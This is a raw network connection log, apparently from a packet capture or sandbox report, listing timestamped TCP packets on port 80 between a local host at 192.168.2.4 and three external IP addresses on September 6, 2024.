Sep 6, 2024 08:17:06.830955982 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.830955982 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.830991983 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.831002951 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.831020117 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.831022024 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.831048965 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.831104994 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.831115007 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.831125021 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.831130981 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.831135035 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.831146955 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.831156969 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.831157923 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.831168890 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.831180096 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.831192970 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.831208944 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.831219912 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.831228971 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.831237078 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.831254959 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.831288099 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.831299067 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.831347942 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.831357956 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.831374884 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.831384897 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.831410885 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.831428051 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.831439972 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.831449986 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.831455946 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.831466913 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.831476927 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.831495047 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.831506968 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.831526041 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.831527948 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.831574917 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.831584930 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.831597090 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.831604004 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.831604958 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.831626892 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.831645012 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.831650019 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.831654072 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.831664085 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.831676006 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.831686974 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.831696987 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.831710100 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.831720114 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.831726074 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.831727028 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.831733942 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.831739902 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.831779003 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.831784964 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.831784964 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.831789017 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.831799984 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.831813097 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.831842899 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.831842899 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.831860065 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.831870079 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.831878901 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.831895113 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.831903934 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.831917048 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.831931114 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.832056046 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.832463026 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.832529068 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.832540035 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.832551003 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.832552910 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.832561016 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.832571983 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.832582951 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.832592010 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.832619905 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.832619905 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.832623959 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.832634926 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.832643986 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.832726002 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.832736969 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.832746983 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.832751036 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.832757950 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.832768917 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.832779884 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.832793951 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.832819939 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.832829952 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.832840919 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.832847118 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.832865000 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.832947016 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.832957983 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.832967997 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.832976103 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.832978964 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.833003044 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.833417892 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.833442926 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.833446980 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.833456993 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.833470106 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.833483934 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.833494902 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.833498955 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.833498955 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.833504915 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.833520889 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.833555937 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.833555937 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.833574057 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.833585024 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.833600998 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.833611012 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.833621025 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.833632946 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.833645105 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.833647966 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.833666086 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.833677053 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.833686113 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.833688974 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.833688974 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.833734989 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.833734989 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.834572077 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.834589005 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.834605932 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.834615946 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.834633112 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.834633112 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.834633112 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.834644079 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.834654093 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.834657907 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.834695101 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.834695101 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.834796906 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.834849119 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.834865093 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.834892988 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.834916115 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.834916115 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.834925890 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.834939003 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.834954977 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.834969997 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.834980011 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.834997892 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.835134983 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.835424900 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.835436106 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.835445881 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.835489988 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.835489988 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.835508108 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.835519075 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.835529089 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.835539103 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.835556984 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.835566998 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.835577965 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.835585117 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.835588932 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.835599899 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.835633039 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.835633039 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.835640907 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.835652113 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.835661888 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.835671902 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.835685015 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.835685968 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.835701942 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.835712910 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.835712910 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.835721016 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.835727930 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.835742950 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.835752010 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.835752010 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.835755110 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.835767031 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.835779905 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.835787058 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.835959911 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.866271973 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.866313934 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.866323948 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.866348028 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.866358995 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.866369009 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.866419077 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.866430044 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.866473913 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.866473913 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.866475105 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.866475105 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.866717100 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.891098976 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.891117096 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.891125917 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.891168118 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.891179085 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.891216993 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.891227961 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.891237020 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.891287088 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.891294003 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.891294003 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.891294003 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.891298056 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.891309023 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.891320944 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.891335011 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.891355038 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.891366959 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.891376019 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.891403913 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.891772985 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.892568111 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.892580032 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.892590046 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.892626047 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.892632008 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.892632008 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.892638922 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.892652988 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.892666101 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.892676115 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.892693996 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.892807961 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.892929077 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.892937899 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.892955065 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.892963886 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.892981052 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.893009901 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.893019915 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.893029928 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.893039942 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.893052101 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.893074036 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.893074036 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.893074036 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.893101931 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.893168926 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.893937111 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.893948078 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.893958092 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.893989086 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.894000053 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.894011021 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.894011974 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.894011974 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.894021988 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.894032001 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.894035101 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.894071102 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.894071102 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.902257919 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.902270079 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.902280092 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.902327061 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.902393103 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.902410030 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.902410030 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.902426958 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.902431965 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.902437925 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.902448893 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.902458906 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.902458906 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.902460098 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.902472973 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.902482986 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.902482986 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.902494907 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.902498960 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.902510881 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.902519941 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.902528048 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.902540922 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.902546883 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.902558088 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.902599096 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.902599096 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.903058052 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.903112888 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.903124094 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.903135061 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.903150082 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.903183937 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.903203964 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.903213978 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.903213978 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.903224945 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.903244972 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.903336048 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.903342962 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.903352022 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.903362036 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.903373003 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.903384924 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.903394938 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.903403997 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.903407097 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.903414965 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.903419018 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.903430939 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.903434038 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.903460979 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.903460979 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.903490067 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.903501034 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.903511047 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.903516054 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.903522968 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.903532982 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.903533936 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.903556108 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.903600931 CEST	80	49733	147.45.44.104	192.168.2.4
